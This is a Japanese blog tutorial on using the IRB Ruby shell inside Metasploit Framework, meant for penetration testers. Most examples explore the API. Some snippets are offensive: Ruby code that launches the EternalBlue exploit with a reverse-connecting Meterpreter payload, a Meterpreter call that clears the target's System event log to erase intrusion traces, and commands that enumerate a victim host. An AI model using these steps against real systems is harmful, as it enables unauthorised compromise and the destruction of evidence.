Metasploitの潜在能力を引き出す対話型Rubyシェル
Metasploit Frameworkは、世界中のセキュリティ専門家やペネトレーションテスターに愛用されている強力なツールキットです。その多機能性の中でも、あまり知られていないけれど非常に便利な機能の一つが、IRB (Interactive Ruby) シェルの統合です。
Kali Linux Toolsのリストにも msf-msf_irb_shell
として記載がありますが、これは通常、Metasploitのコンソール (msfconsole
) 内で irb
コマンドを実行することで利用できます。このブログ記事では、Metasploit内でのIRBシェルの使い方、その利点、そして具体的な活用例を深く掘り下げていきます。初心者から上級者まで、Metasploitをより効果的に、そして柔軟に使いこなすためのヒントが満載です!✨
IRBは「Interactive Ruby」の略で、Rubyコードを一行ずつ入力し、その結果をすぐに見ることができる対話型の実行環境(REPL: Read-Eval-Print Loop)です。Metasploit Framework自体がRubyで書かれているため、IRBを使うことでMetasploitの内部構造に直接アクセスし、操作することが可能になります。
IRBシェルの起動方法
Metasploit Framework内でIRBシェルを起動するのは非常に簡単です。msfconsole
を起動した後、プロンプトで irb
と入力してEnterキーを押すだけです。
msf6 > irb
[*] Starting IRB shell...
>>
上記のようにプロンプトが >>
に変われば、IRBシェルが正常に起動しています。ここからRubyのコードを入力して、Metasploit Frameworkと対話することができます。
IRBシェルを終了して msfconsole
のプロンプトに戻りたい場合は、exit
と入力するか、Ctrl+D を押します。
>> exit
msf6 >
また、Metasploitのセッション(例えばMeterpreterセッション)内でも irb
コマンドを使用できます。これにより、特定のセッションに関連するオブジェクト(client
オブジェクトなど)にアクセスできるようになります。
meterpreter > irb
[*] Starting IRB shell...
[*] The 'client' variable holds the meterpreter client
>> client.sys.config.getuid
=> "NT AUTHORITY\\SYSTEM"
>> exit
meterpreter >
msf-msf_irb_shell
という独立したコマンドも存在しますが、これはMetasploit Frameworkの環境を読み込んで単独のIRBセッションを開始するためのものです。多くの場合、msfconsole
内で irb
コマンドを使う方が、現在のフレームワークの状態(ロードされたモジュール、アクティブなセッションなど)にアクセスできるため便利です。
IRBシェルの基本操作とメリット
IRBシェル内では、通常のRubyコードを実行できます。基本的な計算から、変数定義、メソッド呼び出しまで自由に行えます。
>> 1 + 2
=> 3
>> message = "Hello, Metasploit from IRB!"
=> "Hello, Metasploit from IRB!"
>> puts message
Hello, Metasploit from IRB!
=> nil
>> Framework::Version
=> "6.4.54-dev" # 例:バージョンは実行環境により異なります
Metasploit内でIRBを使う最大のメリットは、Metasploit FrameworkのAPIに直接アクセスできることです。これにより、以下のような高度な操作や自動化が可能になります。
- 🔵 フレームワーク内部状態の確認: 現在ロードされているモジュール、アクティブなセッション、設定されているグローバルオプションなどをプログラム的に確認できます。
- 🔵 動的なスクリプティング: その場で簡単なスクリプトを作成し、実行できます。定型的な作業を自動化したり、特定の条件下でのみ実行したい複雑な手順を組んだりするのに役立ちます。
- 🔵 APIの学習と実験: Metasploitの豊富なAPIを試しながら学ぶのに最適な環境です。ドキュメントを読むだけでなく、実際にコードを動かして挙動を確認できます。
- 🔵 デバッグ: カスタムスクリプトやモジュールのデバッグ中に、特定のオブジェクトの状態を確認したり、メソッドを試したりするのに便利です。
- 🔵 高度な自動化: msfconsoleのコマンドだけでは難しい、より複雑なロジックに基づいた自動化処理をRubyで記述できます。例えば、特定の条件を満たすセッションに対してのみ、一連のポストエクスプロイトモジュールを実行するなど。
2017年のブログ記事「Basics of The Metasploit Framework API – IRB Setup」でも言及されているように、IRBはMetasploit Framework APIをリアルタイムで操作し、アイデアを迅速にテスト・検証するための強力なツールです。
オブジェクト.methods
、特定のメソッドのソースコードの場所を知りたい場合に オブジェクト.method(:メソッド名).source_location
などが使えます。これはAPIの探索に非常に役立ちます。
主要なオブジェクトへのアクセス
IRBシェル内からは、Metasploit Frameworkの様々なコアオブジェクトにアクセスできます。ここでは主要なものをいくつか紹介します。
framework オブジェクト
framework
オブジェクトは、Metasploit Framework全体のインスタンスを表します。これを通じて、モジュール、セッション、ジョブ、データベースなど、フレームワークのほぼ全ての要素にアクセスできます。
# 利用可能なExploitモジュールの数を表示
>> framework.exploits.count
=> 2300 # 例:数はバージョンや環境により異なります
# 利用可能なPayloadモジュールのキー(名前)をいくつか表示
>> framework.payloads.keys.take(5)
=> ["aix/ppc/shell_bind_tcp", "aix/ppc/shell_find_port", "aix/ppc/shell_interact", "aix/ppc/shell_reverse_tcp", "android/meterpreter/reverse_http"]
# アクティブなセッションの数を表示
>> framework.sessions.count
=> 1 # 例:現在アクティブなセッションが1つある場合
# アクティブなセッションIDとその情報を表示
>> framework.sessions.each_pair { |id, session| puts "Session #{id}: #{session.info}" }
Session 1: meterpreter x86/windows (192.168.1.100:4444 -> 192.168.1.150:49157)
=> {1=>#<Msf::Session::Meterpreter_x86_Win:0x0000...>}
# グローバルデータストアのオプション(例: LHOST)を確認
>> framework.datastore['LHOST']
=> "192.168.1.100" # 例:設定されている場合
# msfconsoleのprint_status相当の出力を行う
>> print_status("IRBからメッセージを出力しています!")
[*] IRBからメッセージを出力しています!
=> nil
client オブジェクト (Meterpreterセッション内)
Meterpreterセッション内で irb
を実行した場合、client
という特別な変数が利用可能になります。これは現在のMeterpreterセッションを操作するためのオブジェクトです。
# 現在のユーザーIDを取得
>> client.sys.config.getuid
=> "WORKGROUP\\victim" # 例
# システム情報を取得
>> client.sys.config.sysinfo
=> {"Computer"=>"VICTIM-PC", "OS"=>"Windows 7 (Build 7601, Service Pack 1).", "Architecture"=>"x86", "System Language"=>"en_US", "Domain"=>"WORKGROUP", "Logged On Users"=>2}
# ターゲットシステム上のプロセスリストを取得 (PIDとプロセス名)
>> client.sys.process.get_processes.take(3).map { |p| {pid: p['pid'], name: p['name']} }
=> [{:pid=>0, :name=>"[System Process]"}, {:pid=>4, :name=>"System"}, {:pid=>404, :name=>"smss.exe"}]
# ファイルシステムの操作 (例: カレントディレクトリのファイル一覧)
>> client.fs.dir.entries
=> [".", "..", "Documents", "Downloads", "Desktop", ...]
# イベントログのクリア (例: Systemログ)
# 注意: この操作は侵入の痕跡を消す行為であり、実行には十分な注意と権限が必要です。
>> log = client.sys.eventlog.open('System')
=> #<Rex::Post::Meterpreter::Extensions::Stdapi::Sys::EventLog:0x0000...>
>> log.clear
=> true
これらのオブジェクトを通じて、msfconsole
の標準コマンドだけではアクセスできない詳細な情報にアクセスしたり、より複雑な操作をプログラム的に実行したりすることが可能です。
- Metasploit Unleashed – Msfconsole Commands (irbの解説あり): https://www.offsec.com/metasploit-unleashed/msfconsole-commands/
- Metasploit Unleashed – Useful API Calls (Meterpreter API): https://www.offsec.com/metasploit-unleashed/useful-api-calls/
- GitHub – Metasploit Framework Documentation (開発者向け情報含む): https://github.com/rapid7/metasploit-framework/wiki
実践的な活用例
IRBシェルの真価は、具体的なタスクを自動化したり、効率化したりする際に発揮されます。いくつか例を見てみましょう。
例1: 特定のOSのセッションに対してのみコマンドを実行する
複数のセッションが存在する状況で、Windowsセッションに対してのみ特定のコマンド(例: getuid
)を実行したい場合、IRBを使って簡単に実現できます。
>> framework.sessions.each_pair do |id, session|
?> if session.platform.include?('win') # プラットフォームが'win'を含むかチェック
?> puts "Running getuid on Windows session #{id}..."
?> session.console.run_single('getuid') # セッションのコンソールでコマンド実行
?> else
?> puts "Skipping non-Windows session #{id} (#{session.platform})"
?> end
>> end
Running getuid on Windows session 1...
Server username: NT AUTHORITY\SYSTEM
Skipping non-Windows session 2 (linux)
=> {1=>#<Msf::Session::Meterpreter_x86_Win:0x...>, 2=>#<Msf::Session::Shell:0x...>}
例2: 脆弱性スキャン結果から特定の脆弱性を持つホストを抽出する
Metasploitのデータベースにインポートされた脆弱性スキャン結果から、特定の脆弱性(例: MS17-010)を持つホストのIPアドレスをリストアップします。
# データベースが接続されていることが前提
>> hosts_with_vuln = []
=> []
>> framework.db.vulns.each do |vuln|
?> vuln.refs.each do |ref|
?> if ref.name == "MS17-010" # 脆弱性参照名でフィルタリング
?> hosts_with_vuln << vuln.host.address unless hosts_with_vuln.include?(vuln.host.address)
?> break # 一致したら次の脆弱性へ
?> end
?> end
>> end
=> [...] # 処理された脆弱性オブジェクトの配列
>> puts "Hosts vulnerable to MS17-010:"
Hosts vulnerable to MS17-010:
=> nil
>> puts hosts_with_vuln
192.168.1.150
192.168.1.155
=> nil
例3: モジュールのオプションをプログラムで設定・実行
特定のExploitモジュールをIRBから直接設定し、実行することも可能です。これはスクリプトによる自動化の基礎となります。
# Exploitモジュールを作成
>> exploit = framework.modules.create("exploit/windows/smb/ms17_010_eternalblue")
=> #<Msf::Modules::Exploit__Windows__Smb__Ms17_010_Eternalblue:0x...>
# オプションを設定
>> exploit.datastore['RHOSTS'] = '192.168.1.150'
=> "192.168.1.150"
>> exploit.datastore['PAYLOAD'] = 'windows/x64/meterpreter/reverse_tcp'
=> "windows/x64/meterpreter/reverse_tcp"
>> exploit.datastore['LHOST'] = framework.datastore['LHOST'] || '192.168.1.100' # グローバル設定があれば利用
=> "192.168.1.100"
# Exploitを実行 (checkメソッドで脆弱性チェックのみも可能)
>> print_status("Running exploit against #{exploit.datastore['RHOSTS']}...")
[*] Running exploit against 192.168.1.150...
=> nil
>> exploit.exploit_simple(
?> 'Payload' => exploit.datastore['PAYLOAD'],
?> 'LocalInput' => nil, # stdin
?> 'LocalOutput' => $stdout, # stdout
?> 'Target' => exploit.target,
?> 'RunAsJob' => false
>> )
# ... Exploitの実行ログ ...
[*] Sending stage (201283 bytes) to 192.168.1.150
[*] Meterpreter session 2 opened (192.168.1.100:4444 -> 192.168.1.150:49160) at 2025-03-30 07:30:00 +0000
=> #<Msf::Session::Meterpreter_x64_Win:0x...> # 成功した場合、セッションオブジェクトが返る
これらの例は、IRBがいかに柔軟で強力なツールであるかを示しています。msfconsole
のコマンドと組み合わせることで、より洗練されたペネトレーションテストやセキュリティ評価のワークフローを構築できます。
IRB環境のカスタマイズ (上級者向け)
標準のIRBシェルも便利ですが、いくつかのRuby Gemを追加したり、設定ファイルを調整したりすることで、さらに使いやすくカスタマイズできます。Carlos Perez氏のブログ記事(2017年)でも触れられているように、.irbrc
ファイルや追加のGemを使ってIRB環境を強化することが可能です。
- Wirble: 古いGemですが、IRBの出力に色を付けて可読性を向上させます。
- Awesome Print: Rubyオブジェクトを美しく整形して表示します。複雑なデータ構造を確認するのに役立ちます。
- Pry: より高機能なデバッグ機能を持つ、IRBの代替となる対話シェルです。(Metasploit内での動作には設定が必要な場合があります)
これらのカスタマイズを行うには、RubyとGemの管理に関する知識が必要になります。通常、Metasploitは独自のGemセットを使用しているため、Gemfile.local
を作成して追加のGemをロードするなどの手順が必要になることがあります。詳細については、関連するドキュメントやブログ記事を参照してください。
# .irbrc ファイルの例 (ホームディレクトリに配置)
require 'wirble'
Wirble.init
Wirble.colorize
require 'awesome_print'
AwesomePrint.irb!
puts "Custom .irbrc loaded! Enjoy your enhanced IRB session. ✨"
まとめ
Metasploit Frameworkに統合されたIRBシェルは、msfconsole
のコマンドラインインターフェースを超えた、より深く、より柔軟な操作を可能にする強力な機能です。
- ✅ MetasploitのAPIに直接アクセスし、内部状態の確認や操作が可能。
- ✅ その場でのスクリプティングによるタスクの自動化と効率化。
- ✅ APIの学習やカスタムモジュールのデバッグに最適。
- ✅ Meterpreterセッション内でも利用でき、
client
オブジェクトを通じてターゲットシステムを操作可能。 - ✅ カスタマイズにより、さらに高機能で使いやすい環境を構築可能。
最初は少し難しく感じるかもしれませんが、基本的なRubyの知識があれば、IRBシェルはMetasploitの活用レベルを一段階引き上げるための素晴らしいツールとなります。ぜひ msfconsole
で irb
と入力し、その可能性を探求してみてください!🚀 Happy Hacking! 😉
コメント